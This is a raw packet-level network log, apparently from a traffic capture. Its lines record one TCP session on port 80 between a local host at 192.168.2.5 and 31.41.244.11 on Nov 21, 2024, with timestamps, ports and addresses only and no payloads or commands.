Nov 21, 2024 03:09:17.025262117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.025926113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.025984049 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.026050091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.026101112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.026757956 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.026814938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.026896954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.026952028 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.027580976 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.027636051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.027703047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.027755022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.028433084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.028491974 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.028529882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.028578043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.029253006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.029402971 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.029412985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.029453039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.030091047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.030145884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.030210972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.030261993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.030915022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.030966997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.031033993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.031080961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.031758070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.031812906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.031893015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.031944036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.032593012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.032645941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.032679081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.032727957 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.033438921 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.033507109 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.033561945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.033615112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.034240007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.034293890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.034373045 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.034424067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.035067081 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.035118103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.035181999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.035232067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.035924911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.035976887 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.036042929 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.036093950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.036751986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.036804914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.036860943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.036912918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.037585974 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.037636042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.037705898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.037756920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.038413048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.038464069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.038530111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.038598061 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.039248943 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.039299965 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.039362907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.039416075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.040077925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.040132046 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.040211916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.040262938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.040929079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.040977955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.041043043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.041094065 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.041774035 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.041826010 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.041975975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.042026997 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.042587996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.042639017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.042701960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.042752981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.043416023 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.043464899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.043545008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.043612003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.044286013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.044321060 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.044332027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.044367075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.045103073 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.045156956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.045288086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.045341969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.045927048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.045979023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.046078920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.046128988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.046746969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.046799898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.046866894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.046914101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.047565937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.047610044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.047688961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.047739983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.048439980 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.048491955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.048557997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.048609018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.049258947 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.049310923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.049391031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.049438953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.050102949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.050154924 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.050218105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.050271988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.050966978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.051019907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.051064968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.051115036 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.051769972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.051817894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.051897049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.051948071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.052618027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.052673101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.052752972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.052804947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.053638935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.053709030 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.053786993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.053836107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.054261923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.054313898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.054425955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.054476976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.055094004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.055145979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.055212021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.055263042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.055941105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.055989981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.056047916 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.056098938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.056770086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.056823015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.056886911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.056937933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.057607889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.057655096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.057719946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.057773113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.058502913 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.058554888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.058648109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.058698893 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.059325933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.059371948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.059436083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.059488058 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.060308933 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.060362101 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.060450077 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.060502052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.060936928 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.060988903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.061072111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.061122894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.061810970 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.061861038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.061939955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.061995029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.062632084 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.062685013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.062761068 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.062813044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.063471079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.063523054 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.063575029 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.063627005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.082602024 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.082659960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.082828999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.082895994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.082982063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.083019018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.083024979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.083072901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.083767891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.083820105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.083901882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.083950996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.084631920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.084681034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.224450111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.224498034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.224607944 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.224659920 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.224813938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.224886894 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.224968910 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.225014925 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.225667000 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.225714922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.225792885 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.225836992 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.226476908 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.226526022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.226604939 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.226655960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.227302074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.227356911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.227421999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.227471113 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.228144884 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.228195906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.228262901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.228313923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.228971958 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.229034901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.229113102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.229162931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.229840994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.229891062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.229950905 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.229998112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.230659962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.230707884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.230772018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.230818987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.231477022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.231525898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.231605053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.231654882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.232326031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.232374907 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.232453108 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.232503891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.233144999 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.233196020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.233236074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.233283043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.233999968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.234050989 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.234111071 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.234158039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.234822989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.234872103 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.234965086 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.235014915 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.235655069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.235706091 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.235769987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.235817909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.236490965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.236540079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.236619949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.236669064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.237324953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.237377882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.237435102 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.237483025 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.238152027 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.238204956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.238281965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.238332987 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.238993883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.239103079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.239151955 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.239202976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.239888906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.239940882 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.239943981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.239983082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.240673065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.240721941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.240725994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.240777969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.241494894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.241547108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.241609097 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.241652012 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.242315054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.242362976 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.242429972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.242480040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.243159056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.243230104 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.243307114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.243360043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.244009018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.244060040 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.244123936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.244173050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.244812012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.244857073 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.244920015 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.244968891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.245661020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.245709896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.245776892 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.245825052 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.246494055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.246543884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.246608973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.246659994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.247399092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.247437954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.247454882 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.247477055 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.248145103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.248193026 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.248238087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.248282909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.248990059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.249036074 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.249100924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.249146938 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.249819040 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.249862909 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.249962091 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.250010967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.250648975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.250696898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.250741959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.250786066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.251475096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.251521111 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.251568079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.251616955 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.252310038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.252355099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.252398968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:17.252443075 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:17.253143072 CET	80	49814	31.41.244.11	192.168.2.5
